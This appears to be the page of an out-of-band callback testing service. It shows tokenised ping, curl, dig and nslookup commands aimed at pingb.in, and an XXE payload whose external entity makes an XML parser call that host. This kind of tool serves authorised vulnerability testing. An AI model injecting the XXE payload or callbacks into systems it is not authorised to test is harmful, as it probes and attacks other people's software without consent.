$ ping -c1 -p 00e1144f722a592e9804744328da0400 pingb.in
 
$ curl pingb.in/p/e1144f722a592e9804744328da04
 
$ dig e1144f722a592e9804744328da04 @pingb.in
 
$ dig e1144f722a592e9804744328da04.ns.pingb.in
 
C:\> nslookup e1144f722a592e9804744328da04 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/e1144f722a592e9804744328da04">]>
    <foo>&xxe;</foo>
 
Waiting for ping...